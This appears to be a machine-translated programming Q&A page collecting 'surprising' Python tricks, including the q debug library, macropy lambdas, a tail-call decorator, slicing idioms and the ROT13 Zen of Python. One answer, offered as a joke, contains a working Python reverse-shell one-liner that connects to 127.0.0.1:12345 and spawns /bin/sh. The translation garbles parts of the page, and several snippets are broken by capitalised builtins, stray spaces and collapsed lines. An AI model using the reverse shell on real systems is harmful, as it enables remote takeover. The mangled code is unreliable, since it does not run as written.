What JAVA code skills have you ever seen that surprise you? -What CC ++ code skills have you ever seen in Java? -What front-end designs have you ever seen on the Internet stunned? -What Javascript code machine skills have you ever seen as a programmer? -What kind of crawler skills have you ever seen as a programmer? -Computer neural problems. Non-programmers are welcome to answer your questions about the fascinating logic you have seen? -What kind of black dishes have you ever seen in your life? What issues have you seen that make your friends
What JAVA code skills have you ever seen that surprise you? -Java
What C/C ++ code skills have you ever seen stunned? -Internet
What kind of front-end designs have you ever seen that surprise you? -Programmers
What Javascript code machine skills have you ever seen that surprise you? -Programmers
Which of the following crawler skills have you ever seen? -Computer
Neural questions. Non-programmers are welcome to answer them together.
What kind of logic have you seen that stunned you? -Life
Which of the following black dishes have you ever seen?
What have you seen that make you stunned?
There are more, welcome to a series of reply content: at the beginning to see this still feel pretty stunned: https://pypi.python.org/pypi/q
Quick-and-dirty debugging output for tired programmers
As mentioned in the introduction, Quick-and-dirty, QUICK-and-DIRTY. At first glance, I thought it was very convenient, but I thought about how to implement it... All are black technologies...
The simplest use of Q is to print the foo value:
import q; q(foo)
I am amazed at the use of the Python library, which is the ultimate in import hook:
Lihaoyi/macropy · GitHub
You asked me what's wrong with this?
Here are several examples:
Better lambda expressions
from macropy.quick_lambda import macros, f, _print map(f[_ + 1], [1, 2, 3]) # [2, 3, 4]print reduce(f[_ * _], [1, 2, 3]) # 6
I remember when I first studied python's support for recursion, I found someone using a very hack method through the decorator.
Tail recursion Stack Frame cleared. However, I still cannot understand what it is about.
Code:
import sys class TailRecurseException: def __init__(self, args, kwargs): self.args = args self.kwargs = kwargs def tail_call_optimized(g): """ This function decorates a function with tail call optimization. It does this by throwing an exception if it is it's own grandparent, and catching such exceptions to fake the tail call optimization. This function fails if the decorated function recurses in a non-tail context. """ def func(*args, **kwargs): f = sys._getframe() if f.f_back and f.f_back.f_back and f.f_back.f_back.f_code == f.f_code: raise TailRecurseException(args, kwargs) else: while 1: try: return g(*args, **kwargs) except TailRecurseException, e: args = e.args kwargs = e.kwargs func.__doc__ = g.__doc__ return func
Thank you for inviting me to give me a try today.
Dwarfartisan/pyparsec · GitHub
Do not fight! You are not allowed to face it! Let me bounce a shell first.
import socket,subprocess,oss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("127.0.0.1",12345))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"]);
Some python tricks have been summarized on GitHub.
Brennerm/PyTricks GitHub
>>> A = [],
>>>
([],) >>> A = [[1, 2], [3, 4], [5, 6]
>>> Sum (a, [])
[1, 2, 3, 4, 5, 6]
Python is amazing :)
Add another Python slice:
>>> L = [1, 2, 3]
>>> L [1:1] = 'A'
>>> L
[1, 'A', 2, 3]
Python group list:
>>> A = [1, 2, 3, 4, 5, 6]
>>> Zip (* ([iter (a)] * 2 ))
[(1, 2), (3, 4), (5, 6)] A few small attempts were made in a project just a few years ago when I was learning python.
Use metaprogramming to dynamically generate classes and dynamically load and unload them after generation.
Use a class as a function. Use a function as a variable.
Tricks game container.
By hand, the various scripts written by several other EE engineers are packaged in a neat manner.
Complete annotations and concise structure. It is not a performance bottleneck, so the performance is out of consideration.
As a result, the "senior engineer" turned him into a dog and forced him back to C ++. In fact, he has never used any language other than C ++. His logic is that C ++ is the foundation of all languages, and the code he does not understand is not good code. → _ → The following section is actually mixed into the standard library, which stunned me.
s = """Gur Mra bs Clguba, ol Gvz CrgrefOrnhgvshy vf orggre guna htyl.Rkcyvpvg vf orggre guna vzcyvpvg.Fvzcyr vf orggre guna pbzcyrk.Pbzcyrk vf orggre guna pbzcyvpngrq.Syng vf orggre guna arfgrq.Fcnefr vf orggre guna qrafr.Ernqnovyvgl pbhagf.Fcrpvny pnfrf nera'g fcrpvny rabhtu gb oernx gur ehyrf.Nygubhtu cenpgvpnyvgl orngf chevgl.Reebef fubhyq arire cnff fvyragyl.Hayrff rkcyvpvgyl fvyraprq.Va gur snpr bs nzovthvgl, ershfr gur grzcgngvba gb thrff.Gurer fubhyq or bar-- naq cersrenoyl bayl bar --boivbhf jnl gb qb vg.Nygubhtu gung jnl znl abg or boivbhf ng svefg hayrff lbh'er Qhgpu.Abj vf orggre guna arire.Nygubhtu arire vf bsgra orggre guna *evtug* abj.Vs gur vzcyrzragngvba vf uneq gb rkcynva, vg'f n onq vqrn.Vs gur vzcyrzragngvba vf rnfl gb rkcynva, vg znl or n tbbq vqrn.Anzrfcnprf ner bar ubaxvat terng vqrn -- yrg'f qb zber bs gubfr!"""d = {}for c in (65, 97): for i in range(26): d[chr(i+c)] = chr((i+13) % 26 + c)print "".join([d.get(c, c) for c in s])